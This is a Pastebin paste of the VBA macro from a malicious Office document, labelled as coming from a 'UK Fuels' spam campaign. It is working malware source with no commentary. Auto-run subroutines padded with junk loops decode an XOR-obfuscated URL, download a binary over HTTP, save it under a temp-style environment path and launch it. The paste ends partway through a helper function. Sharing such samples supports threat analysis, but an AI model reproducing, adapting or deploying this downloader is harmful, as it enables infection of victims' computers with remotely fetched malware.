Advertisement
Guest User

UK Fuels spam campaign macro

a guest
Dec 22nd, 2014
544
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Macros/VBA/ThisDocument'
  2. Attribute VB_Name = "ThisDocument"
  3. Attribute VB_Base = "1Normal.ThisDocument"
  4. Attribute VB_GlobalNameSpace = False
  5. Attribute VB_Creatable = False
  6. Attribute VB_PredeclaredId = True
  7. Attribute VB_Exposed = True
  8. Attribute VB_TemplateDerived = True
  9. Attribute VB_Customizable = True
  10. Sub Auto_Open()
  11.  
  12. Dim yljDtiXq As Integer
  13. Dim mkNvChYm As Integer
  14. For mkNvChYm = 0 To 7
  15. Dim cNnbdqfg As Integer
  16. For cNnbdqfg = 0 To 8
  17. DoEvents
  18. Next cNnbdqfg
  19. DoEvents
  20. Next mkNvChYm
  21. Dim jDrqJklU As Integer
  22. For jDrqJklU = 0 To 7
  23. DoEvents
  24. Next jDrqJklU
  25. yljDtiXq = 2
  26. Do While yljDtiXq < 74
  27. Dim jSdxHknI As Integer
  28. For jSdxHknI = 0 To 7
  29. Dim OYOHHNbJ As Integer
  30. For OYOHHNbJ = 0 To 1
  31. DoEvents
  32. Next OYOHHNbJ
  33. DoEvents
  34. Next jSdxHknI
  35. Dim gBrqHmuv As Integer
  36. For gBrqHmuv = 0 To 6
  37. DoEvents
  38. Next gBrqHmuv
  39. DoEvents: yljDtiXq = yljDtiXq + 1
  40. Dim LbFjSGld As Integer
  41. For LbFjSGld = 0 To 8
  42. Dim kOcUOslZ As Integer
  43. For kOcUOslZ = 0 To 3
  44. DoEvents
  45. Next kOcUOslZ
  46. DoEvents
  47. Next LbFjSGld
  48. Dim qxzlfkvW As Integer
  49. For qxzlfkvW = 0 To 2
  50. DoEvents
  51. Next qxzlfkvW
  52. Loop
  53.  
  54. Dim CzJtRSux As Integer
  55. For CzJtRSux = 0 To 6
  56. Dim JQGgHSeJ As Integer
  57. For JQGgHSeJ = 0 To 8
  58. DoEvents
  59. Next JQGgHSeJ
  60. DoEvents
  61. Next CzJtRSux
  62. Dim RsNvGaZl As Integer
  63. For RsNvGaZl = 0 To 6
  64. DoEvents
  65. Next RsNvGaZl
  66. PONJRUPRISB
  67. End Sub
  68. Sub AutoOpen()
  69.  
  70. Dim lLNroWDk As Integer
  71. Dim vKdxLymk As Integer
  72. For vKdxLymk = 0 To 1
  73. Dim FNnvlPfJ As Integer
  74. For FNnvlPfJ = 0 To 4
  75. DoEvents
  76. Next FNnvlPfJ
  77. DoEvents
  78. Next vKdxLymk
  79. Dim mlWLltWv As Integer
  80. For mlWLltWv = 0 To 1
  81. DoEvents
  82. Next mlWLltWv
  83. lLNroWDk = 4
  84. Do While lLNroWDk < 62
  85. Dim HGvngFTd As Integer
  86. For HGvngFTd = 0 To 2
  87. Dim ZxawrCmJ As Integer
  88. For ZxawrCmJ = 0 To 9
  89. DoEvents
  90. Next ZxawrCmJ
  91. DoEvents
  92. Next HGvngFTd
  93. Dim gVqYesMm As Integer
  94. For gVqYesMm = 0 To 6
  95. DoEvents
  96. Next gVqYesMm
  97. DoEvents: lLNroWDk = lLNroWDk + 1
  98. Dim qmqTdkYX As Integer
  99. For qmqTdkYX = 0 To 2
  100. Dim yegkyxiN As Integer
  101. For yegkyxiN = 0 To 1
  102. DoEvents
  103. Next yegkyxiN
  104. DoEvents
  105. Next qmqTdkYX
  106. Dim MljqYAVq As Integer
  107. For MljqYAVq = 0 To 6
  108. DoEvents
  109. Next MljqYAVq
  110. Loop
  111.  
  112. Dim aZtenZXl As Integer
  113. For aZtenZXl = 0 To 1
  114. Dim FefxFINK As Integer
  115. For FefxFINK = 0 To 7
  116. DoEvents
  117. Next FefxFINK
  118. DoEvents
  119. Next aZtenZXl
  120. Dim GBYCjICu As Integer
  121. For GBYCjICu = 0 To 7
  122. DoEvents
  123. Next GBYCjICu
  124.     Auto_Open
  125. End Sub
  126. Sub Workbook_Open()
  127.  
  128. Dim vsLRdFDE As Integer
  129. Dim jSpIBhqH As Integer
  130. For jSpIBhqH = 0 To 7
  131. Dim GVULYZaD As Integer
  132. For GVULYZaD = 0 To 2
  133. DoEvents
  134. Next GVULYZaD
  135. DoEvents
  136. Next jSpIBhqH
  137. Dim GMamoZVz As Integer
  138. For GMamoZVz = 0 To 2
  139. DoEvents
  140. Next GMamoZVz
  141. vsLRdFDE = 5
  142. Do While vsLRdFDE < 13
  143. Dim fucYKkyr As Integer
  144. For fucYKkyr = 0 To 6
  145. Dim JQDxgEJT As Integer
  146. For JQDxgEJT = 0 To 5
  147. DoEvents
  148. Next JQDxgEJT
  149. DoEvents
  150. Next fucYKkyr
  151. Dim VMncxwlP As Integer
  152. For VMncxwlP = 0 To 6
  153. DoEvents
  154. Next VMncxwlP
  155. DoEvents: vsLRdFDE = vsLRdFDE + 1
  156. Dim GWBnGGBI As Integer
  157. For GWBnGGBI = 0 To 8
  158. Dim VVqUNjHL As Integer
  159. For VVqUNjHL = 0 To 9
  160. DoEvents
  161. Next VVqUNjHL
  162. DoEvents
  163. Next GWBnGGBI
  164. Dim VLEiEkDi As Integer
  165. For VLEiEkDi = 0 To 9
  166. DoEvents
  167. Next VLEiEkDi
  168. Loop
  169.  
  170. Dim TzLBeNgu As Integer
  171. For TzLBeNgu = 0 To 6
  172. Dim mlLaKXPd As Integer
  173. For mlLaKXPd = 0 To 4
  174. DoEvents
  175. Next mlLaKXPd
  176. DoEvents
  177. Next TzLBeNgu
  178. Dim xteqXDVp As Integer
  179. For xteqXDVp = 0 To 2
  180. DoEvents
  181. Next xteqXDVp
  182.     Auto_Open
  183. End Sub
  184. Function ISLCPJVQOTV(ByVal ZWMNMFBTAMP As String, ByVal HQYSVYQQWIF As String) As Boolean
  185.      Dim HGVXOEGWSEI As Object, JOKGTCURLMV As Long, TKUDWNWAYWM As Long, TPFSORXNDUK() As Byte
  186.  
  187.  
  188. Dim usMAxoJU As Integer
  189. Dim wiJuvyCz As Integer
  190. For wiJuvyCz = 0 To 7
  191. Dim AZEpcTay As Integer
  192. For AZEpcTay = 0 To 8
  193. DoEvents
  194. Next AZEpcTay
  195. DoEvents
  196. Next wiJuvyCz
  197. Dim HLyaRkwu As Integer
  198. For HLyaRkwu = 0 To 2
  199. DoEvents
  200. Next HLyaRkwu
  201. usMAxoJU = 5
  202. Do While usMAxoJU < 45
  203. Dim VMAgoRGF As Integer
  204. For VMAgoRGF = 0 To 3
  205. Dim uMVQDeYc As Integer
  206. For uMVQDeYc = 0 To 5
  207. DoEvents
  208. Next uMVQDeYc
  209. DoEvents
  210. Next VMAgoRGF
  211. Dim ElhlLPKl As Integer
  212. For ElhlLPKl = 0 To 9
  213. DoEvents
  214. Next ElhlLPKl
  215. DoEvents: usMAxoJU = usMAxoJU + 1
  216. Dim lnflyiHc As Integer
  217. For lnflyiHc = 0 To 4
  218. Dim xteksHXM As Integer
  219. For xteksHXM = 0 To 4
  220. DoEvents
  221. Next xteksHXM
  222. DoEvents
  223. Next lnflyiHc
  224. Dim lRMNQHRa As Integer
  225. For lRMNQHRa = 0 To 4
  226. DoEvents
  227. Next lRMNQHRa
  228. Loop
  229.  
  230. Dim oUiHmlyW As Integer
  231. For oUiHmlyW = 0 To 9
  232. Dim QcbTPvQq As Integer
  233. For QcbTPvQq = 0 To 7
  234. DoEvents
  235. Next QcbTPvQq
  236. DoEvents
  237. Next oUiHmlyW
  238. Dim YXhgpclk As Integer
  239. For YXhgpclk = 0 To 6
  240. DoEvents
  241. Next YXhgpclk
  242.     Set HGVXOEGWSEI = CreateObject("MSXML2.XMLHTTP")
  243.     HGVXOEGWSEI.Open "GET", ZWMNMFBTAMP, False
  244.  
  245. Dim ClFBPlyt As Integer
  246. Dim DyripUsR As Integer
  247. For DyripUsR = 0 To 7
  248. Dim zAyrfCGv As Integer
  249. For zAyrfCGv = 0 To 1
  250. DoEvents
  251. Next zAyrfCGv
  252. DoEvents
  253. Next DyripUsR
  254. Dim QwYaChvu As Integer
  255. For QwYaChvu = 0 To 7
  256. DoEvents
  257. Next QwYaChvu
  258. ClFBPlyt = 3
  259. Do While ClFBPlyt < 26
  260. Dim pRwGhgcn As Integer
  261. For pRwGhgcn = 0 To 2
  262. Dim czkiQbwS As Integer
  263. For czkiQbwS = 0 To 4
  264. DoEvents
  265. Next czkiQbwS
  266. DoEvents
  267. Next pRwGhgcn
  268. Dim NDehwVfv As Integer
  269. For NDehwVfv = 0 To 9
  270. DoEvents
  271. Next NDehwVfv
  272. DoEvents: ClFBPlyt = ClFBPlyt + 1
  273. Dim cCFlUaLl As Integer
  274. For cCFlUaLl = 0 To 8
  275. Dim FefwPeeH As Integer
  276. For FefwPeeH = 0 To 2
  277. DoEvents
  278. Next FefwPeeH
  279. DoEvents
  280. Next cCFlUaLl
  281. Dim vCGlmxSv As Integer
  282. For vCGlmxSv = 0 To 8
  283. DoEvents
  284. Next vCGlmxSv
  285. Loop
  286.  
  287. Dim uXKaCjjW As Integer
  288. For uXKaCjjW = 0 To 5
  289. Dim jHLaDchL As Integer
  290. For jHLaDchL = 0 To 9
  291. DoEvents
  292. Next jHLaDchL
  293. DoEvents
  294. Next uXKaCjjW
  295. Dim ftZgaZxf As Integer
  296. For ftZgaZxf = 0 To 9
  297. DoEvents
  298. Next ftZgaZxf
  299.     HGVXOEGWSEI.Send "send request"
  300.  
  301.  
  302.  
  303.  
  304. Dim PMWwLTjH As Integer
  305. Dim NOwKJnlV As Integer
  306. For NOwKJnlV = 0 To 4
  307. Dim GXFvHBPQ As Integer
  308. For GXFvHBPQ = 0 To 2
  309. DoEvents
  310. Next GXFvHBPQ
  311. DoEvents
  312. Next NOwKJnlV
  313. Dim bHgxbkll As Integer
  314. For bHgxbkll = 0 To 8
  315. DoEvents
  316. Next bHgxbkll
  317. PMWwLTjH = 7
  318. Do While PMWwLTjH < 92
  319. Dim xoDbXuTW As Integer
  320. For xoDbXuTW = 0 To 8
  321. Dim aIAnBQPi As Integer
  322. For aIAnBQPi = 0 To 6
  323. DoEvents
  324. Next aIAnBQPi
  325. DoEvents
  326. Next xoDbXuTW
  327. Dim VCqFdHJA As Integer
  328. For VCqFdHJA = 0 To 6
  329. DoEvents
  330. Next VCqFdHJA
  331. DoEvents: PMWwLTjH = PMWwLTjH + 1
  332. Dim JFbEMQYE As Integer
  333. For JFbEMQYE = 0 To 8
  334. Dim MlsPnGcH As Integer
  335. For MlsPnGcH = 0 To 8
  336. DoEvents
  337. Next MlsPnGcH
  338. DoEvents
  339. Next JFbEMQYE
  340. Dim VXgvlQqN As Integer
  341. For VXgvlQqN = 0 To 9
  342. DoEvents
  343. Next VXgvlQqN
  344. Loop
  345.  
  346. Dim vKiXGVKB As Integer
  347. For vKiXGVKB = 0 To 5
  348. Dim tyVQOAcd As Integer
  349. For tyVQOAcd = 0 To 1
  350. DoEvents
  351. Next tyVQOAcd
  352. DoEvents
  353. Next vKiXGVKB
  354. Dim tsvUvxXg As Integer
  355. For tsvUvxXg = 0 To 8
  356. DoEvents
  357. Next tsvUvxXg
  358.     TPFSORXNDUK = HGVXOEGWSEI.responseBody
  359.  
  360.  
  361. Dim MSatLvBz As Integer
  362. Dim znsRecYN As Integer
  363. For znsRecYN = 0 To 1
  364. Dim hCsOIoWQ As Integer
  365. For hCsOIoWQ = 0 To 3
  366. DoEvents
  367. Next hCsOIoWQ
  368. DoEvents
  369. Next znsRecYN
  370. Dim aUEgLkXa As Integer
  371. For aUEgLkXa = 0 To 1
  372. DoEvents
  373. Next aUEgLkXa
  374. MSatLvBz = 9
  375. Do While MSatLvBz < 21
  376. Dim xriXFaYH As Integer
  377. For xriXFaYH = 0 To 4
  378. Dim zvhjBlHR As Integer
  379. For zvhjBlHR = 0 To 1
  380. DoEvents
  381. Next zvhjBlHR
  382. DoEvents
  383. Next xriXFaYH
  384. Dim DpICpZJW As Integer
  385. For DpICpZJW = 0 To 7
  386. DoEvents
  387. Next DpICpZJW
  388. DoEvents: MSatLvBz = MSatLvBz + 1
  389. Dim QxnnuDzO As Integer
  390. For QxnnuDzO = 0 To 1
  391. Dim VNCLBwcg As Integer
  392. For VNCLBwcg = 0 To 3
  393. DoEvents
  394. Next VNCLBwcg
  395. DoEvents
  396. Next QxnnuDzO
  397. Dim xtBDmVby As Integer
  398. For xtBDmVby = 0 To 1
  399. DoEvents
  400. Next xtBDmVby
  401. Loop
  402.  
  403. Dim tyBZvgHl As Integer
  404. For tyBZvgHl = 0 To 5
  405. Dim WjnERwNB As Integer
  406. For WjnERwNB = 0 To 3
  407. DoEvents
  408. Next WjnERwNB
  409. DoEvents
  410. Next tyBZvgHl
  411. Dim YaLpGTag As Integer
  412. For YaLpGTag = 0 To 9
  413. DoEvents
  414. Next YaLpGTag
  415.     TKUDWNWAYWM = FreeFile
  416.     Open HQYSVYQQWIF For Binary As #TKUDWNWAYWM
  417.  
  418. Dim PMWZiOfn As Integer
  419. Dim IDrqSDRl As Integer
  420. For IDrqSDRl = 0 To 1
  421. Dim lUnZSSOe As Integer
  422. For lUnZSSOe = 0 To 7
  423. DoEvents
  424. Next lUnZSSOe
  425. DoEvents
  426. Next IDrqSDRl
  427. Dim EklyREfi As Integer
  428. For EklyREfi = 0 To 9
  429. DoEvents
  430. Next EklyREfi
  431. PMWZiOfn = 7
  432. Do While PMWZiOfn < 92
  433. Dim ekBZvkRp As Integer
  434. For ekBZvkRp = 0 To 7
  435. Dim FiDYqgjh As Integer
  436. For FiDYqgjh = 0 To 4
  437. DoEvents
  438. Next FiDYqgjh
  439. DoEvents
  440. Next ekBZvkRp
  441. Dim aIxLEXse As Integer
  442. For aIxLEXse = 0 To 4
  443. DoEvents
  444. Next aIxLEXse
  445. DoEvents: PMWZiOfn = PMWZiOfn + 1
  446. Dim xzgkaLlS As Integer
  447. For xzgkaLlS = 0 To 4
  448. Dim uMXLyQno As Integer
  449. For uMXLyQno = 0 To 2
  450. DoEvents
  451. Next uMXLyQno
  452. DoEvents
  453. Next xzgkaLlS
  454. Dim YNVDnfZN As Integer
  455. For YNVDnfZN = 0 To 6
  456. DoEvents
  457. Next YNVDnfZN
  458. Loop
  459.  
  460. Dim RqzlpQXH As Integer
  461. For RqzlpQXH = 0 To 6
  462. Dim FiDOGskY As Integer
  463. For FiDOGskY = 0 To 5
  464. DoEvents
  465. Next FiDOGskY
  466. DoEvents
  467. Next RqzlpQXH
  468. Dim MwrwZaIR As Integer
  469. For MwrwZaIR = 0 To 8
  470. DoEvents
  471. Next MwrwZaIR
  472.     Put #TKUDWNWAYWM, , TPFSORXNDUK
  473.  
  474. Dim QPQgmTnA As Integer
  475. Dim LbDctcgV As Integer
  476. For LbDctcgV = 0 To 3
  477. Dim NSrkMSwQ As Integer
  478. For NSrkMSwQ = 0 To 4
  479. DoEvents
  480. Next NSrkMSwQ
  481. DoEvents
  482. Next LbDctcgV
  483. Dim bKyshgxZ As Integer
  484. For bKyshgxZ = 0 To 8
  485. DoEvents
  486. Next bKyshgxZ
  487. QPQgmTnA = 8
  488. Do While QPQgmTnA < 47
  489. Dim fodnxBzI As Integer
  490. For fodnxBzI = 0 To 6
  491. Dim YaGvYtPG As Integer
  492. For YaGvYtPG = 0 To 9
  493. DoEvents
  494. Next YaGvYtPG
  495. DoEvents
  496. Next fodnxBzI
  497. Dim vMCWHiZz As Integer
  498. For vMCWHiZz = 0 To 8
  499. DoEvents
  500. Next vMCWHiZz
  501. DoEvents: QPQgmTnA = QPQgmTnA + 1
  502. Dim mlHgHJYT As Integer
  503. For mlHgHJYT = 0 To 4
  504. Dim rhtfqbXO As Integer
  505. For rhtfqbXO = 0 To 1
  506. DoEvents
  507. Next rhtfqbXO
  508. DoEvents
  509. Next mlHgHJYT
  510. Dim mkWeftMv As Integer
  511. For mkWeftMv = 0 To 4
  512. DoEvents
  513. Next mkWeftMv
  514. Loop
  515.  
  516. Dim gzHgFNCr As Integer
  517. For gzHgFNCr = 0 To 3
  518. Dim QcjczFLI As Integer
  519. For QcjczFLI = 0 To 7
  520. DoEvents
  521. Next QcjczFLI
  522. DoEvents
  523. Next gzHgFNCr
  524. Dim SlPBRFGC As Integer
  525. For SlPBRFGC = 0 To 7
  526. DoEvents
  527. Next SlPBRFGC
  528.     Close #TKUDWNWAYWM
  529.  
  530. Dim lLBpcBQz As Integer
  531. Dim GXKtvlgQ As Integer
  532. For GXKtvlgQ = 0 To 2
  533. Dim pUNDppzK As Integer
  534. For pUNDppzK = 0 To 5
  535. DoEvents
  536. Next pUNDppzK
  537. DoEvents
  538. Next GXKtvlgQ
  539. Dim xiONZHVT As Integer
  540. For xiONZHVT = 0 To 8
  541. DoEvents
  542. Next xiONZHVT
  543. lLBpcBQz = 5
  544. Do While lLBpcBQz < 62
  545. Dim CtRuYqJG As Integer
  546. For CtRuYqJG = 0 To 6
  547. Dim ctNSgGTe As Integer
  548. For ctNSgGTe = 0 To 1
  549. DoEvents
  550. Next ctNSgGTe
  551. DoEvents
  552. Next CtRuYqJG
  553. Dim lEJwFFfp As Integer
  554. For lEJwFFfp = 0 To 7
  555. DoEvents
  556. Next lEJwFFfp
  557. DoEvents: lLBpcBQz = lLBpcBQz + 1
  558. Dim rqEpmyUL As Integer
  559. For rqEpmyUL = 0 To 1
  560. Dim xoUiaISm As Integer
  561. For xoUiaISm = 0 To 4
  562. DoEvents
  563. Next xoUiaISm
  564. DoEvents
  565. Next rqEpmyUL
  566. Dim VeTmWoId As Integer
  567. For VeTmWoId = 0 To 9
  568. DoEvents
  569. Next VeTmWoId
  570. Loop
  571.  
  572. Dim VViWVsSs As Integer
  573. For VViWVsSs = 0 To 9
  574. Dim FqxrljIL As Integer
  575. For FqxrljIL = 0 To 5
  576. DoEvents
  577. Next FqxrljIL
  578. DoEvents
  579. Next VViWVsSs
  580. Dim iLXyPKwZ As Integer
  581. For iLXyPKwZ = 0 To 2
  582. DoEvents
  583. Next iLXyPKwZ
  584.    
  585.  
  586. Dim fxxxtrlf As Integer
  587. Dim rpUMnzaj As Integer
  588. For rpUMnzaj = 0 To 4
  589. Dim vBwthlHn As Integer
  590. For vBwthlHn = 0 To 8
  591. DoEvents
  592. Next vBwthlHn
  593. DoEvents
  594. Next rpUMnzaj
  595. Dim yercsYaX As Integer
  596. For yercsYaX = 0 To 5
  597. DoEvents
  598. Next yercsYaX
  599. fxxxtrlf = 4
  600. Do While fxxxtrlf < 29
  601. Dim slmXIMEw As Integer
  602. For slmXIMEw = 0 To 6
  603. Dim kFLfswjp As Integer
  604. For kFLfswjp = 0 To 7
  605. DoEvents
  606. Next kFLfswjp
  607. DoEvents
  608. Next slmXIMEw
  609. Dim ffPCQmBk As Integer
  610. For ffPCQmBk = 0 To 6
  611. DoEvents
  612. Next ffPCQmBk
  613. DoEvents: fxxxtrlf = fxxxtrlf + 1
  614. Dim kIAmIOWs As Integer
  615. For kIAmIOWs = 0 To 3
  616. Dim pIJZCAiB As Integer
  617. For pIJZCAiB = 0 To 2
  618. DoEvents
  619. Next pIJZCAiB
  620. DoEvents
  621. Next kIAmIOWs
  622. Dim dhczwwIz As Integer
  623. For dhczwwIz = 0 To 3
  624. DoEvents
  625. Next dhczwwIz
  626. Loop
  627.  
  628. Dim qxtysGaR As Integer
  629. For qxtysGaR = 0 To 2
  630. Dim EcFDdXtL As Integer
  631. For EcFDdXtL = 0 To 5
  632. DoEvents
  633. Next EcFDdXtL
  634. DoEvents
  635. Next qxtysGaR
  636. Dim QACrFJLr As Integer
  637. For QACrFJLr = 0 To 7
  638. DoEvents
  639. Next QACrFJLr
  640. Set NIJgb78tdfo = CreateObject(XORI(Hextostring("230D1C031C4B381F0009100C111110001E"), Hextostring("7065796F")))
  641. NIJgb78tdfo.Open Environ(XORI(Hextostring("20012024"), Hextostring("74446D"))) & XORI(Hextostring("060023021900251A1B1E2B057429152C"), Hextostring("5A4C6D49"))
  642.  
  643. Dim PWFeqQRq As Integer
  644. Dim lEMznDHq As Integer
  645. For lEMznDHq = 0 To 4
  646. Dim MZmqHmou As Integer
  647. For MZmqHmou = 0 To 6
  648. DoEvents
  649. Next MZmqHmou
  650. DoEvents
  651. Next lEMznDHq
  652. Dim GasMhmJf As Integer
  653. For GasMhmJf = 0 To 8
  654. DoEvents
  655. Next GasMhmJf
  656. PWFeqQRq = 7
  657. Do While PWFeqQRq < 64
  658. Dim yrrdbagD As Integer
  659. For yrrdbagD = 0 To 1
  660. Dim aPuldjIW As Integer
  661. For aPuldjIW = 0 To 1
  662. DoEvents
  663. Next aPuldjIW
  664. DoEvents
  665. Next yrrdbagD
  666. Dim vNhOMFsb As Integer
  667. For vNhOMFsb = 0 To 5
  668. DoEvents
  669. Next vNhOMFsb
  670. DoEvents: PWFeqQRq = PWFeqQRq + 1
  671. Dim KUtpOhHo As Integer
  672. For KUtpOhHo = 0 To 5
  673. Dim HNhQQlix As Integer
  674. For HNhQQlix = 0 To 2
  675. DoEvents
  676. Next HNhQQlix
  677. DoEvents
  678. Next KUtpOhHo
  679. Dim uztnDByq As Integer
  680. For uztnDByq = 0 To 5
  681. DoEvents
  682. Next uztnDByq
  683. Loop
  684.  
  685. Dim lEVSYIpI As Integer
  686. For lEVSYIpI = 0 To 7
  687. Dim FuPtKpzG As Integer
  688. For FuPtKpzG = 0 To 2
  689. DoEvents
  690. Next FuPtKpzG
  691. DoEvents
  692. Next lEVSYIpI
  693. Dim lRIqcAxh As Integer
  694. For lRIqcAxh = 0 To 9
  695. DoEvents
  696. Next lRIqcAxh
  697.     Set HGVXOEGWSEI = Nothing
  698.  
  699. Dim cjwbLXmn As Integer
  700. Dim RqNRdbSX As Integer
  701. For RqNRdbSX = 0 To 6
  702. Dim WcDXhaac As Integer
  703. For WcDXhaac = 0 To 9
  704. DoEvents
  705. Next WcDXhaac
  706. DoEvents
  707. Next RqNRdbSX
  708. Dim DhWkbrMP As Integer
  709. For DhWkbrMP = 0 To 7
  710. DoEvents
  711. Next DhWkbrMP
  712. cjwbLXmn = 8
  713. Do While cjwbLXmn < 76
  714. Dim JSOJTuIO As Integer
  715. For JSOJTuIO = 0 To 6
  716. Dim OGOdiafN As Integer
  717. For OGOdiafN = 0 To 6
  718. DoEvents
  719. Next OGOdiafN
  720. DoEvents
  721. Next JSOJTuIO
  722. Dim NKvzqYqF As Integer
  723. For NKvzqYqF = 0 To 7
  724. DoEvents
  725. Next NKvzqYqF
  726. DoEvents: cjwbLXmn = cjwbLXmn + 1
  727. Dim PArgmdFM As Integer
  728. For PArgmdFM = 0 To 1
  729. Dim nJtZACjg As Integer
  730. For nJtZACjg = 0 To 2
  731. DoEvents
  732. Next nJtZACjg
  733. DoEvents
  734. Next PArgmdFM
  735. Dim VyfKomML As Integer
  736. For VyfKomML = 0 To 6
  737. DoEvents
  738. Next VyfKomML
  739. Loop
  740.  
  741. Dim jGWVGOII As Integer
  742. For jGWVGOII = 0 To 7
  743. Dim wmbeXCPB As Integer
  744. For wmbeXCPB = 0 To 7
  745. DoEvents
  746. Next wmbeXCPB
  747. DoEvents
  748. Next jGWVGOII
  749. Dim OHTTOUKL As Integer
  750. For OHTTOUKL = 0 To 1
  751. DoEvents
  752. Next OHTTOUKL
  753.      
  754. End Function
  755. Sub PONJRUPRISB()
  756.  
  757. Dim glPmNNPL As Integer
  758. Dim XqNElBSv As Integer
  759. For XqNElBSv = 0 To 9
  760. Dim TgnBhZMv As Integer
  761. For TgnBhZMv = 0 To 6
  762. DoEvents
  763. Next TgnBhZMv
  764. DoEvents
  765. Next XqNElBSv
  766. Dim QZHQekqx As Integer
  767. For QZHQekqx = 0 To 7
  768. DoEvents
  769. Next QZHQekqx
  770. glPmNNPL = 6
  771. Do While glPmNNPL < 28
  772. Dim FriBZzTP As Integer
  773. For FriBZzTP = 0 To 7
  774. Dim pHzXJWaZ As Integer
  775. For pHzXJWaZ = 0 To 2
  776. DoEvents
  777. Next pHzXJWaZ
  778. DoEvents
  779. Next FriBZzTP
  780. Dim wxhLHvPp As Integer
  781. For wxhLHvPp = 0 To 4
  782. DoEvents
  783. Next wxhLHvPp
  784. DoEvents: glPmNNPL = glPmNNPL + 1
  785. Dim WgPSXMpU As Integer
  786. For WgPSXMpU = 0 To 3
  787. Dim OHTIjoJs As Integer
  788. For OHTIjoJs = 0 To 1
  789. DoEvents
  790. Next OHTIjoJs
  791. DoEvents
  792. Next WgPSXMpU
  793. Dim AISrAdPc As Integer
  794. For AISrAdPc = 0 To 9
  795. DoEvents
  796. Next AISrAdPc
  797. Loop
  798.  
  799. Dim mmSUjxsv As Integer
  800. For mmSUjxsv = 0 To 5
  801. Dim QEOhDWnv As Integer
  802. For QEOhDWnv = 0 To 4
  803. DoEvents
  804. Next QEOhDWnv
  805. DoEvents
  806. Next mmSUjxsv
  807. Dim RwJQCBlQ As Integer
  808. For RwJQCBlQ = 0 To 2
  809. DoEvents
  810. Next RwJQCBlQ
  811. sdfsdfnUHBO = XORI(Hextostring("03261E2560564120132C1C16383A39133C1016572D241F453F29560C023C4430221C"), Hextostring("6B526A555A796E"))
  812.  
  813. Dim pCuYUtly As Integer
  814. Dim cBZlRjPO As Integer
  815. For cBZlRjPO = 0 To 5
  816. Dim qYLINdjZ As Integer
  817. For qYLINdjZ = 0 To 2
  818. DoEvents
  819. Next qYLINdjZ
  820. DoEvents
  821. Next cBZlRjPO
  822. Dim CdUETvRB As Integer
  823. For CdUETvRB = 0 To 9
  824. DoEvents
  825. Next CdUETvRB
  826. pCuYUtly = 3
  827. Do While pCuYUtly < 28
  828. Dim xtehlsoQ As Integer
  829. For xtehlsoQ = 0 To 2
  830. Dim ICXmBThc As Integer
  831. For ICXmBThc = 0 To 4
  832. DoEvents
  833. Next ICXmBThc
  834. DoEvents
  835. Next xtehlsoQ
  836. Dim FqduDmYw As Integer
  837. For FqduDmYw = 0 To 7
  838. DoEvents
  839. Next FqduDmYw
  840. DoEvents: pCuYUtly = pCuYUtly + 1
  841. Dim hWxDokgC As Integer
  842. For hWxDokgC = 0 To 6
  843. Dim xjDiaFys As Integer
  844. For xjDiaFys = 0 To 3
  845. DoEvents
  846. Next xjDiaFys
  847. DoEvents
  848. Next hWxDokgC
  849. Dim ERrLFEwp As Integer
  850. For ERrLFEwp = 0 To 9
  851. DoEvents
  852. Next ERrLFEwp
  853. Loop
  854.  
  855. Dim IDtuBeQV As Integer
  856. For IDtuBeQV = 0 To 1
  857. Dim OKkJQjxh As Integer
  858. For OKkJQjxh = 0 To 1
  859. DoEvents
  860. Next OKkJQjxh
  861. DoEvents
  862. Next IDtuBeQV
  863. Dim GyUEbySf As Integer
  864. For GyUEbySf = 0 To 2
  865. DoEvents
  866. Next GyUEbySf
  867.     ISLCPJVQOTV sdfsdfnUHBO, Environ(XORI(Hextostring("31323900"), Hextostring("65777450"))) & XORI(Hextostring("171D0312081D050A0A030B156534353C"), Hextostring("4B514D59"))
  868.  
  869. End Sub
  870.  
  871. Public Function XORI(ByVal JfhqAvZoG As String, ByVal uoeJS As String) As String
  872. Dim RQHAHmzyORUMlA As Long
  873. For RQHAHmzyORUMlA = 1 To Len(JfhqAvZoG)
  874.  
  875. GoTo AvHQaVUR
  876. Dim umcyglvx As String
  877. Open "YWHNAU.YKH" For Binary As 13
  878. If 939766 = 939766 + 1 Then End
  879. If 9294 < 33 Then
  880.         MsgBox ("lhdABZqY19")
  881. End If
  882. If Len("hPKjhTSi1944") = Len("ELdfMkFe") Then
  883.        MsgBox ("Error !!!")
  884. End If
  885. Put #13, , umcyglvx
  886.  
  887. If 369763 = 369763 + 1 Then End
  888. If 4339 < 61 Then
  889.         MsgBox ("rbuVMJBV81")
  890. End If
  891. If Len("PGqXepWj7593") = Len("LEKKnzTh") Then
  892.        MsgBox ("Error !!!")
  893. End If
  894. Close #13
  895.  
  896. If 618835 = 618835 + 1 Then End
  897. If 1788 < 63 Then
  898.         MsgBox ("erpPlKqz77")
  899. End If
  900. If Len("lgQKlAnq4952") = Len("WKgtZNNJ") Then
  901.        MsgBox ("Error !!!")
  902. End If
  903. AvHQaVUR:
  904.  
  905.  
  906. If 121947 = 121947 + 1 Then End
  907. If 4275 < 45 Then
  908.         MsgBox ("rmnvxKXf56")
  909. End If
  910. If Len("chmuzvlL5925") = Len("YrzzbjtL") Then
  911.        MsgBox ("Error !!!")
  912. End If
  913. XORI = XORI & Chr(Asc(Mid(uoeJS, IIf(RQHAHmzyORUMlA Mod Len(uoeJS) <> 0, RQHAHmzyORUMlA Mod Len(uoeJS), Len(uoeJS)), 1)) Xor Asc(Mid(JfhqAvZoG, RQHAHmzyORUMlA, 1)))
  914.  
  915. Next RQHAHmzyORUMlA
  916. End Function
  917. Public Function Hextostring(ByVal udfzchuEanbM As String) As String
  918. Dim KJlSkVaA As String
  919. Dim lfxuR As String
  920. Dim LEALdrM As Long
  921. For LEALdrM = 1 To Len(udfzchuEanbM) Step 2
  922.  
  923. GoTo NYIfCmFW
  924. Dim TAjIqGYS As String
  925. Open "BOJCFQ.KXD" For Binary As 88
  926. If 227686 = 227686 + 1 Then End
  927. If 2173 < 53 Then
  928.         MsgBox ("Aszcgcsw38")
  929. End If
  930. If Len("ssvCaFhs3933") = Len("DGzqodGK") Then
  931.        MsgBox ("Error !!!")
  932. End If
  933. Put #88, , TAjIqGYS
  934.  
  935. If 675594 = 675594 + 1 Then End
  936. If 7387 < 91 Then
  937.         MsgBox ("mEQPiYJO12")
  938. End If
  939. If Len("zLGIjBDz1651") = Len("pUxRFJva") Then
  940.        MsgBox ("Error !!!")
  941. End If
  942. Close #88
  943.  
  944. If 925665 = 925665 + 1 Then End
  945. If 4846 < 94 Then
  946.         MsgBox ("loGxYUeD17")
  947. End If
  948. If Len("PljRUjlW5696") = Len("sCLJHGKZ") Then
  949.        MsgBox ("Error !!!")
  950. End If
